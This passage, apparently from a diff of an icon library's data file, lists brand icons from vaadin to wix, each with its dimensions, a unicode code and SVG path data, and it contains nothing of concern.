33.8-3.4L256 0l3.6 72.2c11.5.2 22.8 1.4 33.8 3.5L313 6.4l-12.4 70.7c11.3 2.6 22.2 6.1 32.6 10.5l33.9-62.2-27.4 65.1c10.6 4.9 20.7 10.7 30.2 17.2l45.8-51.8-40.1 55.9c9.5 7.1 18.4 15 26.5 23.6l54.2-38.9-49.7 43.9c8 9.1 15.2 18.9 21.5 29.4l58.7-24.7-55.5 30.2c6.1 10.9 11.1 22.3 15.1 34.3l59.3-10.4-57.5 16.2c3.7 12.2 6.2 24.9 7.5 37.9L512 256l-56 2.8c.3 4.6.5 9.3.5 14.1 0 8.7-.6 17.3-1.6 25.8l50.7 14.3-51.5-9.1zm-21.8-31c0-97.5-79-176.5-176.5-176.5s-176.5 79-176.5 176.5 79 176.5 176.5 176.5 176.5-79 176.5-176.5zm-24 0c0 84.3-68.3 152.6-152.6 152.6s-152.6-68.3-152.6-152.6 68.3-152.6 152.6-152.6 152.6 68.3 152.6 152.6zM195 241c0 2.1 1.3 3.8 3.6 5.1 3.3 1.9 6.2 4.6 8.2 8.2 2.8-5.7 4.3-9.5 4.3-11.2 0-2.2-1.1-4.4-3.2-7-2.1-2.5-3.2-5.2-3.3-7.7-6.5 6.8-9.6 10.9-9.6 12.6zm-40.7-19c0 2.1 1.3 3.8 3.6 5.1 3.5 1.9 6.2 4.6 8.2 8.2 2.8-5.7 4.3-9.5 4.3-11.2 0-2.2-1.1-4.4-3.2-7-2.1-2.5-3.2-5.2-3.3-7.7-6.5 6.8-9.6 10.9-9.6 12.6zm-19 0c0 2.1 1.3 3.8 3.6 5.1 3.3 1.9 6.2 4.6 8.2 8.2 2.8-5.7 4.3-9.5 4.3-11.2 0-2.2-1.1-4.4-3.2-7-2.1-2.5-3.2-5.2-3.3-7.7-6.4 6.8-9.6 10.9-9.6 12.6zm204.9 87.9c-8.4-3-8.7-6.8-8.7-15.6V182c-8.2 12.5-14.2 18.6-18 18.6 6.3 14.4 9.5 23.9 9.5 28.3v64.3c0 2.2-2.2 6.5-4.7 6.5h-18c-2.8-7.5-10.2-26.9-15.3-40.3-2 2.5-7.2 9.2-10.7 13.7 2.4 1.6 4.1 3.6 5.2 6.3 2.6 6.7 6.4 16.5 7.9 20.2h-9.2c-3.9-10.4-9.6-25.4-11.8-31.1-2 2.5-7.2 9.2-10.7 13.7 2.4 1.6 4.1 3.6 5.2 6.3.8 2 2.8 7.3 4.3 10.9H256c-1.5-4.1-5.6-14.6-8.4-22-2 2.5-7.2 9.2-10.7 13.7 2.5 1.6 4.3 3.6 5.2 6.3.2.6.5 1.4.6 1.7H225c-4.6-13.9-11.4-27.7-11.4-34.1 0-2.2.3-5.1 1.1-8.2-8.8 10.8-14 15.9-14 25 0 7.5 10.4 28.3 10.4 33.3 0 1.7-.5 3.3-1.4 4.9-9.6-12.7-15.5-20.7-18.8-20.7h-12l-11.2-28c-3.8-9.6-5.7-16-5.7-18.8 0-3.8.5-7.7 1.7-12.2-1 1.3-3.7 4.7-5.5 7.1-.8-2.1-3.1-7.7-4.6-11.5-2.1 2.5-7.5 9.1-11.2 13.6.9 2.3 3.3 8.1 4.9 12.2-2.5 3.3-9.1 11.8-13.6 17.7-4 5.3-5.8 13.3-2.7 21.8 2.5 6.7 2 7.9-1.7 14.1H191c5.5 0 14.3 14 15.5 22 13.2-16 15.4-19.6 16.8-21.6h107c3.9 0 7.2-1.9 9.9-5.8zm20.1-26.6V181.7c-9 12.5-15.9 18.6-20.7 18.6 7.1 14.4 10.7 23.9 10.7 28.3v66.3c0 17.5 8.6 20.4 24 20.4 8.1 0 12.5-.8 13.7-2.7-4.3-1.6-7.6-2.5-9.9-3.3-8.1-3.2-17.8-7.4-17.8-26z" ], + vaadin: [ 448, 512, [], "f408", "M224.5 140.7c1.5-17.6 4.9-52.7 49.8-52.7h98.6c20.7 0 32.1-7.8 32.1-21.6V54.1c0-12.2 9.3-22.1 21.5-22.1S448 41.9 448 54.1v36.5c0 42.9-21.5 62-66.8 62H280.7c-30.1 0-33 14.7-33 27.1 0 1.3-.1 2.5-.2 3.7-.7 12.3-10.9 22.2-23.4 22.2s-22.7-9.8-23.4-22.2c-.1-1.2-.2-2.4-.2-3.7 0-12.3-3-27.1-33-27.1H66.8c-45.3 0-66.8-19.1-66.8-62V54.1C0 41.9 9.4 32 21.6 32s21.5 9.9 21.5 22.1v12.3C43.1 80.2 54.5 88 75.2 88h98.6c44.8 0 48.3 35.1 49.8 52.7h.9zM224 456c11.5 0 21.4-7 25.7-16.3 1.1-1.8 97.1-169.6 98.2-171.4 11.9-19.6-3.2-44.3-27.2-44.3-13.9 0-23.3 6.4-29.8 20.3L224 362l-66.9-117.7c-6.4-13.9-15.9-20.3-29.8-20.3-24 0-39.1 24.6-27.2 44.3 1.1 1.9 97.1 169.6 98.2 171.4 4.3 9.3 14.2 16.3 25.7 16.3z" ], + viacoin: [ 384, 512, [], "f237", "M384 32h-64l-80.7 192h-94.5L64 32H0l48 112H0v48h68.5l13.8 32H0v48h102.8L192 480l89.2-208H384v-48h-82.3l13.8-32H384v-48h-48l48-112zM192 336l-27-64h54l-27 64z" ], + viadeo: [ 448, 512, [], "f2a9", "M276.2 150.5v.7C258.3 98.6 233.6 47.8 205.4 0c43.3 29.2 67 100 70.8 150.5zm32.7 121.7c7.6 18.2 11 37.5 11 57 0 77.7-57.8 141-137.8 139.4l3.8-.3c74.2-46.7 109.3-118.6 109.3-205.1 0-38.1-6.5-75.9-18.9-112 1 11.7 1 23.7 1 35.4 0 91.8-18.1 241.6-116.6 280C95 455.2 49.4 398 49.4 329.2c0-75.6 57.4-142.3 135.4-142.3 16.8 0 33.7 3.1 49.1 9.6 1.7-15.1 6.5-29.9 13.4-43.3-19.9-7.2-41.2-10.7-62.5-10.7-161.5 0-238.7 195.9-129.9 313.7 67.9 74.6 192 73.9 259.8 0 56.6-61.3 60.9-142.4 36.4-201-12.7 8-27.1 13.9-42.2 17zM418.1 11.7c-31 66.5-81.3 47.2-115.8 80.1-12.4 12-20.6 34-20.6 50.5 0 14.1 4.5 27.1 12 38.8 47.4-11 98.3-46 118.2-90.7-.7 5.5-4.8 14.4-7.2 19.2-20.3 35.7-64.6 65.6-99.7 84.9 14.8 14.4 33.7 25.8 55 25.8 79 0 110.1-134.6 58.1-208.6z" ], + "viadeo-square": [ 448, 512, [], "f2aa", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM280.7 381.2c-42.4 46.2-120 46.6-162.4 0-68-73.6-19.8-196.1 81.2-196.1 13.3 0 26.6 2.1 39.1 6.7-4.3 8.4-7.3 17.6-8.4 27.1-9.7-4.1-20.2-6-30.7-6-48.8 0-84.6 41.7-84.6 88.9 0 43 28.5 78.7 69.5 85.9 61.5-24 72.9-117.6 72.9-175 0-7.3 0-14.8-.6-22.1-11.2-32.9-26.6-64.6-44.2-94.5 27.1 18.3 41.9 62.5 44.2 94.1v.4c7.7 22.5 11.8 46.2 11.8 70 0 54.1-21.9 99-68.3 128.2l-2.4.2c50 1 86.2-38.6 86.2-87.2 0-12.2-2.1-24.3-6.9-35.7 9.5-1.9 18.5-5.6 26.4-10.5 15.3 36.6 12.6 87.3-22.8 125.6zM309 233.7c-13.3 0-25.1-7.1-34.4-16.1 21.9-12 49.6-30.7 62.3-53 1.5-3 4.1-8.6 4.5-12-12.5 27.9-44.2 49.8-73.9 56.7-4.7-7.3-7.5-15.5-7.5-24.3 0-10.3 5.2-24.1 12.9-31.6 21.6-20.5 53-8.5 72.4-50 32.5 46.2 13.1 130.3-36.3 130.3z" ], + viber: [ 512, 512, [], "f409", "M444 49.9C431.3 38.2 379.9.9 265.3.4c0 0-135.1-8.1-200.9 52.3C27.8 89.3 14.9 143 13.5 209.5c-1.4 66.5-3.1 191.1 117 224.9h.1l-.1 51.6s-.8 20.9 13 25.1c16.6 5.2 26.4-10.7 42.3-27.8 8.7-9.4 20.7-23.2 29.8-33.7 82.2 6.9 145.3-8.9 152.5-11.2 16.6-5.4 110.5-17.4 125.7-142 15.8-128.6-7.6-209.8-49.8-246.5zM457.9 287c-12.9 104-89 110.6-103 115.1-6 1.9-61.5 15.7-131.2 11.2 0 0-52 62.7-68.2 79-5.3 5.3-11.1 4.8-11-5.7 0-6.9.4-85.7.4-85.7-.1 0-.1 0 0 0-101.8-28.2-95.8-134.3-94.7-189.8 1.1-55.5 11.6-101 42.6-131.6 55.7-50.5 170.4-43 170.4-43 96.9.4 143.3 29.6 154.1 39.4 35.7 30.6 53.9 103.8 40.6 211.1zm-139-80.8c.4 8.6-12.5 9.2-12.9.6-1.1-22-11.4-32.7-32.6-33.9-8.6-.5-7.8-13.4.7-12.9 27.9 1.5 43.4 17.5 44.8 46.2zm20.3 11.3c1-42.4-25.5-75.6-75.8-79.3-8.5-.6-7.6-13.5.9-12.9 58 4.2 88.9 44.1 87.8 92.5-.1 8.6-13.1 8.2-12.9-.3zm47 13.4c.1 8.6-12.9 8.7-12.9.1-.6-81.5-54.9-125.9-120.8-126.4-8.5-.1-8.5-12.9 0-12.9 73.7.5 133 51.4 133.7 139.2zM374.9 329v.2c-10.8 19-31 40-51.8 33.3l-.2-.3c-21.1-5.9-70.8-31.5-102.2-56.5-16.2-12.8-31-27.9-42.4-42.4-10.3-12.9-20.7-28.2-30.8-46.6-21.3-38.5-26-55.7-26-55.7-6.7-20.8 14.2-41 33.3-51.8h.2c9.2-4.8 18-3.2 23.9 3.9 0 0 12.4 14.8 17.7 22.1 5 6.8 11.7 17.7 15.2 23.8 6.1 10.9 2.3 22-3.7 26.6l-12 9.6c-6.1 4.9-5.3 14-5.3 14s17.8 67.3 84.3 84.3c0 0 9.1.8 14-5.3l9.6-12c4.6-6 15.7-9.8 26.6-3.7 14.7 8.3 33.4 21.2 45.8 32.9 7 5.7 8.6 14.4 3.8 23.6z" ], + vimeo: [ 448, 512, [], "f40a", "M403.2 32H44.8C20.1 32 0 52.1 0 76.8v358.4C0 459.9 20.1 480 44.8 480h358.4c24.7 0 44.8-20.1 44.8-44.8V76.8c0-24.7-20.1-44.8-44.8-44.8zM377 180.8c-1.4 31.5-23.4 74.7-66 129.4-44 57.2-81.3 85.8-111.7 85.8-18.9 0-34.8-17.4-47.9-52.3-25.5-93.3-36.4-148-57.4-148-2.4 0-10.9 5.1-25.4 15.2l-15.2-19.6c37.3-32.8 72.9-69.2 95.2-71.2 25.2-2.4 40.7 14.8 46.5 51.7 20.7 131.2 29.9 151 67.6 91.6 13.5-21.4 20.8-37.7 21.8-48.9 3.5-33.2-25.9-30.9-45.8-22.4 15.9-52.1 46.3-77.4 91.2-76 33.3.9 49 22.5 47.1 64.7z" ], + "vimeo-square": [ 448, 512, [], "f194", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-16.2 149.6c-1.4 31.1-23.2 73.8-65.3 127.9-43.5 56.5-80.3 84.8-110.4 84.8-18.7 0-34.4-17.2-47.3-51.6-25.2-92.3-35.9-146.4-56.7-146.4-2.4 0-10.8 5-25.1 15.1L64 192c36.9-32.4 72.1-68.4 94.1-70.4 24.9-2.4 40.2 14.6 46 51.1 20.5 129.6 29.6 149.2 66.8 90.5 13.4-21.2 20.6-37.2 21.5-48.3 3.4-32.8-25.6-30.6-45.2-22.2 15.7-51.5 45.8-76.5 90.1-75.1 32.9 1 48.4 22.4 46.5 64z" ], + "vimeo-v": [ 448, 512, [], "f27d", "M447.8 153.6c-2 43.6-32.4 103.3-91.4 179.1-60.9 79.2-112.4 118.8-154.6 118.8-26.1 0-48.2-24.1-66.3-72.3C100.3 250 85.3 174.3 56.2 174.3c-3.4 0-15.1 7.1-35.2 21.1L0 168.2c51.6-45.3 100.9-95.7 131.8-98.5 34.9-3.4 56.3 20.5 64.4 71.5 28.7 181.5 41.4 208.9 93.6 126.7 18.7-29.6 28.8-52.1 30.2-67.6 4.8-45.9-35.8-42.8-63.3-31 22-72.1 64.1-107.1 126.2-105.1 45.8 1.2 67.5 31.1 64.9 89.4z" ], + vine: [ 384, 512, [], "f1ca", "M384 254.7v52.1c-18.4 4.2-36.9 6.1-52.1 6.1-36.9 77.4-103 143.8-125.1 156.2-14 7.9-27.1 8.4-42.7-.8C137 452 34.2 367.7 0 102.7h74.5C93.2 261.8 139 343.4 189.3 404.5c27.9-27.9 54.8-65.1 75.6-106.9-49.8-25.3-80.1-80.9-80.1-145.6 0-65.6 37.7-115.1 102.2-115.1 114.9 0 106.2 127.9 81.6 181.5 0 0-46.4 9.2-63.5-20.5 3.4-11.3 8.2-30.8 8.2-48.5 0-31.3-11.3-46.6-28.4-46.6-18.2 0-30.8 17.1-30.8 50 .1 79.2 59.4 118.7 129.9 101.9z" ], + vk: [ 576, 512, [], "f189", "M545 117.7c3.7-12.5 0-21.7-17.8-21.7h-58.9c-15 0-21.9 7.9-25.6 16.7 0 0-30 73.1-72.4 120.5-13.7 13.7-20 18.1-27.5 18.1-3.7 0-9.4-4.4-9.4-16.9V117.7c0-15-4.2-21.7-16.6-21.7h-92.6c-9.4 0-15 7-15 13.5 0 14.2 21.2 17.5 23.4 57.5v86.8c0 19-3.4 22.5-10.9 22.5-20 0-68.6-73.4-97.4-157.4-5.8-16.3-11.5-22.9-26.6-22.9H38.8c-16.8 0-20.2 7.9-20.2 16.7 0 15.6 20 93.1 93.1 195.5C160.4 378.1 229 416 291.4 416c37.5 0 42.1-8.4 42.1-22.9 0-66.8-3.4-73.1 15.4-73.1 8.7 0 23.7 4.4 58.7 38.1 40 40 46.6 57.9 69 57.9h58.9c16.8 0 25.3-8.4 20.4-25-11.2-34.9-86.9-106.7-90.3-111.5-8.7-11.2-6.2-16.2 0-26.2.1-.1 72-101.3 79.4-135.6z" ], + vnv: [ 640, 512, [], "f40b", "M104.9 352c-34.1 0-46.4-30.4-46.4-30.4L2.6 210.1S-7.8 192 13 192h32.8c10.4 0 13.2 8.7 18.8 18.1l36.7 74.5s5.2 13.1 21.1 13.1 21.1-13.1 21.1-13.1l36.7-74.5c5.6-9.5 8.4-18.1 18.8-18.1h32.8c20.8 0 10.4 18.1 10.4 18.1l-55.8 111.5S174.2 352 140 352h-35.1zm395 0c-34.1 0-46.4-30.4-46.4-30.4l-55.9-111.5S387.2 192 408 192h32.8c10.4 0 13.2 8.7 18.8 18.1l36.7 74.5s5.2 13.1 21.1 13.1 21.1-13.1 21.1-13.1l36.8-74.5c5.6-9.5 8.4-18.1 18.8-18.1H627c20.8 0 10.4 18.1 10.4 18.1l-55.9 111.5S569.3 352 535.1 352h-35.2zM337.6 192c34.1 0 46.4 30.4 46.4 30.4l55.9 111.5s10.4 18.1-10.4 18.1h-32.8c-10.4 0-13.2-8.7-18.8-18.1l-36.7-74.5s-5.2-13.1-21.1-13.1c-15.9 0-21.1 13.1-21.1 13.1l-36.7 74.5c-5.6 9.4-8.4 18.1-18.8 18.1h-32.9c-20.8 0-10.4-18.1-10.4-18.1l55.9-111.5s12.2-30.4 46.4-30.4h35.1z" ], + vuejs: [ 448, 512, [], "f41f", "M356.9 64.3H280l-56 88.6-48-88.6H0L224 448 448 64.3h-91.1zm-301.2 32h53.8L224 294.5 338.4 96.3h53.8L224 384.5 55.7 96.3z" ], + "watchman-monitoring": [ 512, 512, [], "e087", "M256,16C123.452,16,16,123.452,16,256S123.452,496,256,496,496,388.548,496,256,388.548,16,256,16ZM121.69,429.122C70.056,388.972,36.741,326.322,36.741,256a218.519,218.519,0,0,1,9.587-64.122l102.9-17.895-.121,10.967-13.943,2.013s-.144,12.5-.144,19.549a12.778,12.778,0,0,0,4.887,10.349l9.468,7.4Zm105.692-283.27,8.48-7.618s6.934-5.38-.143-9.344c-7.188-4.024-39.53-34.5-39.53-34.5-5.348-5.477-8.257-7.347-15.46,0,0,0-32.342,30.474-39.529,34.5-7.078,3.964-.144,9.344-.144,9.344l8.481,7.618-.048,4.369L75.982,131.045c39.644-56.938,105.532-94.3,180.018-94.3A218.754,218.754,0,0,1,420.934,111.77l-193.512,37.7Zm34.063,329.269-33.9-250.857,9.467-7.4a12.778,12.778,0,0,0,4.888-10.349c0-7.044-.144-19.549-.144-19.549l-13.943-2.013-.116-10.474,241.711,31.391A218.872,218.872,0,0,1,475.259,256C475.259,375.074,379.831,472.212,261.445,475.121Z" ], + waze: [ 512, 512, [], "f83f", "M502.17 201.67C516.69 287.53 471.23 369.59 389 409.8c13 34.1-12.4 70.2-48.32 70.2a51.68 51.68 0 0 1-51.57-49c-6.44.19-64.2 0-76.33-.64A51.69 51.69 0 0 1 159 479.92c-33.86-1.36-57.95-34.84-47-67.92-37.21-13.11-72.54-34.87-99.62-70.8-13-17.28-.48-41.8 20.84-41.8 46.31 0 32.22-54.17 43.15-110.26C94.8 95.2 193.12 32 288.09 32c102.48 0 197.15 70.67 214.08 169.67zM373.51 388.28c42-19.18 81.33-56.71 96.29-102.14 40.48-123.09-64.15-228-181.71-228-83.45 0-170.32 55.42-186.07 136-9.53 48.91 5 131.35-68.75 131.35C58.21 358.6 91.6 378.11 127 389.54c24.66-21.8 63.87-15.47 79.83 14.34 14.22 1 79.19 1.18 87.9.82a51.69 51.69 0 0 1 78.78-16.42zM205.12 187.13c0-34.74 50.84-34.75 50.84 0s-50.84 34.74-50.84 0zm116.57 0c0-34.74 50.86-34.75 50.86 0s-50.86 34.75-50.86 0zm-122.61 70.69c-3.44-16.94 22.18-22.18 25.62-5.21l.06.28c4.14 21.42 29.85 44 64.12 43.07 35.68-.94 59.25-22.21 64.11-42.77 4.46-16.05 28.6-10.36 25.47 6-5.23 22.18-31.21 62-91.46 62.9-42.55 0-80.88-27.84-87.9-64.25z" ], + weebly: [ 512, 512, [], "f5cc", "M425.09 65.83c-39.88 0-73.28 25.73-83.66 64.33-18.16-58.06-65.5-64.33-84.95-64.33-19.78 0-66.8 6.28-85.28 64.33-10.38-38.6-43.45-64.33-83.66-64.33C38.59 65.83 0 99.72 0 143.03c0 28.96 4.18 33.27 77.17 233.48 22.37 60.57 67.77 69.35 92.74 69.35 39.23 0 70.04-19.46 85.93-53.98 15.89 34.83 46.69 54.29 85.93 54.29 24.97 0 70.36-9.1 92.74-69.67 76.55-208.65 77.5-205.58 77.5-227.2.63-48.32-36.01-83.47-86.92-83.47zm26.34 114.81l-65.57 176.44c-7.92 21.49-21.22 37.22-46.24 37.22-23.44 0-37.38-12.41-44.03-33.9l-39.28-117.42h-.95L216.08 360.4c-6.96 21.5-20.9 33.6-44.02 33.6-25.02 0-38.33-15.74-46.24-37.22L60.88 181.55c-5.38-14.83-7.92-23.91-7.92-34.5 0-16.34 15.84-29.36 38.33-29.36 18.69 0 31.99 11.8 36.11 29.05l44.03 139.82h.95l44.66-136.79c6.02-19.67 16.47-32.08 38.96-32.08s32.94 12.11 38.96 32.08l44.66 136.79h.95l44.03-139.82c4.12-17.25 17.42-29.05 36.11-29.05 22.17 0 38.33 13.32 38.33 35.71-.32 7.87-4.12 16.04-7.61 27.24z" ], + weibo: [ 512, 512, [], "f18a", "M407 177.6c7.6-24-13.4-46.8-37.4-41.7-22 4.8-28.8-28.1-7.1-32.8 50.1-10.9 92.3 37.1 76.5 84.8-6.8 21.2-38.8 10.8-32-10.3zM214.8 446.7C108.5 446.7 0 395.3 0 310.4c0-44.3 28-95.4 76.3-143.7C176 67 279.5 65.8 249.9 161c-4 13.1 12.3 5.7 12.3 6 79.5-33.6 140.5-16.8 114 51.4-3.7 9.4 1.1 10.9 8.3 13.1 135.7 42.3 34.8 215.2-169.7 215.2zm143.7-146.3c-5.4-55.7-78.5-94-163.4-85.7-84.8 8.6-148.8 60.3-143.4 116s78.5 94 163.4 85.7c84.8-8.6 148.8-60.3 143.4-116zM347.9 35.1c-25.9 5.6-16.8 43.7 8.3 38.3 72.3-15.2 134.8 52.8 111.7 124-7.4 24.2 29.1 37 37.4 12 31.9-99.8-55.1-195.9-157.4-174.3zm-78.5 311c-17.1 38.8-66.8 60-109.1 46.3-40.8-13.1-58-53.4-40.3-89.7 17.7-35.4 63.1-55.4 103.4-45.1 42 10.8 63.1 50.2 46 88.5zm-86.3-30c-12.9-5.4-30 .3-38 12.9-8.3 12.9-4.3 28 8.6 34 13.1 6 30.8.3 39.1-12.9 8-13.1 3.7-28.3-9.7-34zm32.6-13.4c-5.1-1.7-11.4.6-14.3 5.4-2.9 5.1-1.4 10.6 3.7 12.9 5.1 2 11.7-.3 14.6-5.4 2.8-5.2 1.1-10.9-4-12.9z" ], + weixin: [ 576, 512, [], "f1d7", "M385.2 167.6c6.4 0 12.6.3 18.8 1.1C387.4 90.3 303.3 32 207.7 32 100.5 32 13 104.8 13 197.4c0 53.4 29.3 97.5 77.9 131.6l-19.3 58.6 68-34.1c24.4 4.8 43.8 9.7 68.2 9.7 6.2 0 12.1-.3 18.3-.8-4-12.9-6.2-26.6-6.2-40.8-.1-84.9 72.9-154 165.3-154zm-104.5-52.9c14.5 0 24.2 9.7 24.2 24.4 0 14.5-9.7 24.2-24.2 24.2-14.8 0-29.3-9.7-29.3-24.2.1-14.7 14.6-24.4 29.3-24.4zm-136.4 48.6c-14.5 0-29.3-9.7-29.3-24.2 0-14.8 14.8-24.4 29.3-24.4 14.8 0 24.4 9.7 24.4 24.4 0 14.6-9.6 24.2-24.4 24.2zM563 319.4c0-77.9-77.9-141.3-165.4-141.3-92.7 0-165.4 63.4-165.4 141.3S305 460.7 397.6 460.7c19.3 0 38.9-5.1 58.6-9.9l53.4 29.3-14.8-48.6C534 402.1 563 363.2 563 319.4zm-219.1-24.5c-9.7 0-19.3-9.7-19.3-19.6 0-9.7 9.7-19.3 19.3-19.3 14.8 0 24.4 9.7 24.4 19.3 0 10-9.7 19.6-24.4 19.6zm107.1 0c-9.7 0-19.3-9.7-19.3-19.6 0-9.7 9.7-19.3 19.3-19.3 14.5 0 24.4 9.7 24.4 19.3.1 10-9.9 19.6-24.4 19.6z" ], + whatsapp: [ 448, 512, [], "f232", "M380.9 97.1C339 55.1 283.2 32 223.9 32c-122.4 0-222 99.6-222 222 0 39.1 10.2 77.3 29.6 111L0 480l117.7-30.9c32.4 17.7 68.9 27 106.1 27h.1c122.3 0 224.1-99.6 224.1-222 0-59.3-25.2-115-67.1-157zm-157 341.6c-33.2 0-65.7-8.9-94-25.7l-6.7-4-69.8 18.3L72 359.2l-4.4-7c-18.5-29.4-28.2-63.3-28.2-98.2 0-101.7 82.8-184.5 184.6-184.5 49.3 0 95.6 19.2 130.4 54.1 34.8 34.9 56.2 81.2 56.1 130.5 0 101.8-84.9 184.6-186.6 184.6zm101.2-138.2c-5.5-2.8-32.8-16.2-37.9-18-5.1-1.9-8.8-2.8-12.5 2.8-3.7 5.6-14.3 18-17.6 21.8-3.2 3.7-6.5 4.2-12 1.4-32.6-16.3-54-29.1-75.5-66-5.7-9.8 5.7-9.1 16.3-30.3 1.8-3.7.9-6.9-.5-9.7-1.4-2.8-12.5-30.1-17.1-41.2-4.5-10.8-9.1-9.3-12.5-9.5-3.2-.2-6.9-.2-10.6-.2-3.7 0-9.7 1.4-14.8 6.9-5.1 5.6-19.4 19-19.4 46.3 0 27.3 19.9 53.7 22.6 57.4 2.8 3.7 39.1 59.7 94.8 83.8 35.2 15.2 49 16.5 66.6 13.9 10.7-1.6 32.8-13.4 37.4-26.4 4.6-13 4.6-24.1 3.2-26.4-1.3-2.5-5-3.9-10.5-6.6z" ], + "whatsapp-square": [ 448, 512, [], "f40c", "M224 122.8c-72.7 0-131.8 59.1-131.9 131.8 0 24.9 7 49.2 20.2 70.1l3.1 5-13.3 48.6 49.9-13.1 4.8 2.9c20.2 12 43.4 18.4 67.1 18.4h.1c72.6 0 133.3-59.1 133.3-131.8 0-35.2-15.2-68.3-40.1-93.2-25-25-58-38.7-93.2-38.7zm77.5 188.4c-3.3 9.3-19.1 17.7-26.7 18.8-12.6 1.9-22.4.9-47.5-9.9-39.7-17.2-65.7-57.2-67.7-59.8-2-2.6-16.2-21.5-16.2-41s10.2-29.1 13.9-33.1c3.6-4 7.9-5 10.6-5 2.6 0 5.3 0 7.6.1 2.4.1 5.7-.9 8.9 6.8 3.3 7.9 11.2 27.4 12.2 29.4s1.7 4.3.3 6.9c-7.6 15.2-15.7 14.6-11.6 21.6 15.3 26.3 30.6 35.4 53.9 47.1 4 2 6.3 1.7 8.6-1 2.3-2.6 9.9-11.6 12.5-15.5 2.6-4 5.3-3.3 8.9-2 3.6 1.3 23.1 10.9 27.1 12.9s6.6 3 7.6 4.6c.9 1.9.9 9.9-2.4 19.1zM400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM223.9 413.2c-26.6 0-52.7-6.7-75.8-19.3L64 416l22.5-82.2c-13.9-24-21.2-51.3-21.2-79.3C65.4 167.1 136.5 96 223.9 96c42.4 0 82.2 16.5 112.2 46.5 29.9 30 47.9 69.8 47.9 112.2 0 87.4-72.7 158.5-160.1 158.5z" ], + whmcs: [ 448, 512, [], "f40d", "M448 161v-21.3l-28.5-8.8-2.2-10.4 20.1-20.7L427 80.4l-29 7.5-7.2-7.5 7.5-28.2-19.1-11.6-21.3 21-10.7-3.2-7-26.4h-22.6l-6.2 26.4-12.1 3.2-19.7-21-19.4 11 8.1 27.7-8.1 8.4-28.5-7.5-11 19.1 20.7 21-2.9 10.4-28.5 7.8-.3 21.7 28.8 7.5 2.4 12.1-20.1 19.9 10.4 18.5 29.6-7.5 7.2 8.6-8.1 26.9 19.9 11.6 19.4-20.4 11.6 2.9 6.7 28.5 22.6.3 6.7-28.8 11.6-3.5 20.7 21.6 20.4-12.1-8.8-28 7.8-8.1 28.8 8.8 10.3-20.1-20.9-18.8 2.2-12.1 29.1-7zm-119.2 45.2c-31.3 0-56.8-25.4-56.8-56.8s25.4-56.8 56.8-56.8 56.8 25.4 56.8 56.8c0 31.5-25.4 56.8-56.8 56.8zm72.3 16.4l46.9 14.5V277l-55.1 13.4-4.1 22.7 38.9 35.3-19.2 37.9-54-16.7-14.6 15.2 16.7 52.5-38.3 22.7-38.9-40.5-21.7 6.6-12.6 54-42.4-.5-12.6-53.6-21.7-5.6-36.4 38.4-37.4-21.7 15.2-50.5-13.7-16.1-55.5 14.1-19.7-34.8 37.9-37.4-4.8-22.8-54-14.1.5-40.9L54 219.9l5.7-19.7-38.9-39.4L41.5 125l53.6 14.1 15.2-15.7-15.2-52 36.4-20.7 36.8 39.4L191 84l11.6-52H245l11.6 45.9L234 72l-6.3-1.7-3.3 5.7-11 19.1-3.3 5.6 4.6 4.6 17.2 17.4-.3 1-23.8 6.5-6.2 1.7-.1 6.4-.2 12.9C153.8 161.6 118 204 118 254.7c0 58.3 47.3 105.7 105.7 105.7 50.5 0 92.7-35.4 103.2-82.8l13.2.2 6.9.1 1.6-6.7 5.6-24 1.9-.6 17.1 17.8 4.7 4.9 5.8-3.4 20.4-12.1 5.8-3.5-2-6.5-6.8-21.2z" ], + "wikipedia-w": [ 640, 512, [], "f266", "M640 51.2l-.3 12.2c-28.1.8-45 15.8-55.8 40.3-25 57.8-103.3 240-155.3 358.6H415l-81.9-193.1c-32.5 63.6-68.3 130-99.2 193.1-.3.3-15 0-15-.3C172 352.3 122.8 243.4 75.8 133.4 64.4 106.7 26.4 63.4.2 63.7c0-3.1-.3-10-.3-14.2h161.9v13.9c-19.2 1.1-52.8 13.3-43.3 34.2 21.9 49.7 103.6 240.3 125.6 288.6 15-29.7 57.8-109.2 75.3-142.8-13.9-28.3-58.6-133.9-72.8-160-9.7-17.8-36.1-19.4-55.8-19.7V49.8l142.5.3v13.1c-19.4.6-38.1 7.8-29.4 26.1 18.9 40 30.6 68.1 48.1 104.7 5.6-10.8 34.7-69.4 48.1-100.8 8.9-20.6-3.9-28.6-38.6-29.4.3-3.6 0-10.3.3-13.6 44.4-.3 111.1-.3 123.1-.6v13.6c-22.5.8-45.8 12.8-58.1 31.7l-59.2 122.8c6.4 16.1 63.3 142.8 69.2 156.7L559.2 91.8c-8.6-23.1-36.4-28.1-47.2-28.3V49.6l127.8 1.1.2.5z" ], + windows: [ 448, 512, [], "f17a", "M0 93.7l183.6-25.3v177.4H0V93.7zm0 324.6l183.6 25.3V268.4H0v149.9zm203.8 28L448 480V268.4H203.8v177.9zm0-380.6v180.1H448V32L203.8 65.7z" ], + wix: [ 640, 512, [], "f5cf", "M393.38 131.69c0 13.03 2.08 32.69-28.68 43.83-9.52 3.45-15.95 9.66-15.95 9.66 0-31 4.72-42.22 17.4-48.86 9.75-5.11 27.23-4.63 27.23-4.63zm-115.8 35.54l-34.24 132.66-28.48-108.57c-7.69-31.99-20.81-48.53-48.43-48.53-27.37 0-40.66 16.18-48.43 48.53L89.52 299.89 55.28 167.23C49.73 140.51 23.86 128.96 0 131.96l65.57 247.93s21.63 1.56 32.46-3.96c14.22-7.25 20.98-12.84 29.59-46.57 7.67-30.07 29.11-118.41 31.12-124.7 4.76-14.94 11.09-13.81 15.4 0 1.97 6.3 23.45 94.63 31.12 124.7 8.6 33.73 15.37 39.32 29.59 46.57 10.82 5.52 32.46 3.96 32.46 3.96l65.57-247.93c-24.42-3.07-49.82 8.93-55.3 35.27zm115.78 5.21s-4.1 6.34-13.46 11.57c-6.01 3.36-11.78 5.64-17.97 8.61-15.14 7.26-13.18 13.95-13.18 35.2v152.07s16.55 2.09 27.37-3.43c13.93-7.1 17.13-13.95 17.26-44.78V181.41l-.02.01v-8.98zm163.44 84.08L640 132.78s-35.11-5.98-52.5 9.85c-13.3 12.1-24.41 29.55-54.18 72.47-.47.73-6.25 10.54-13.07 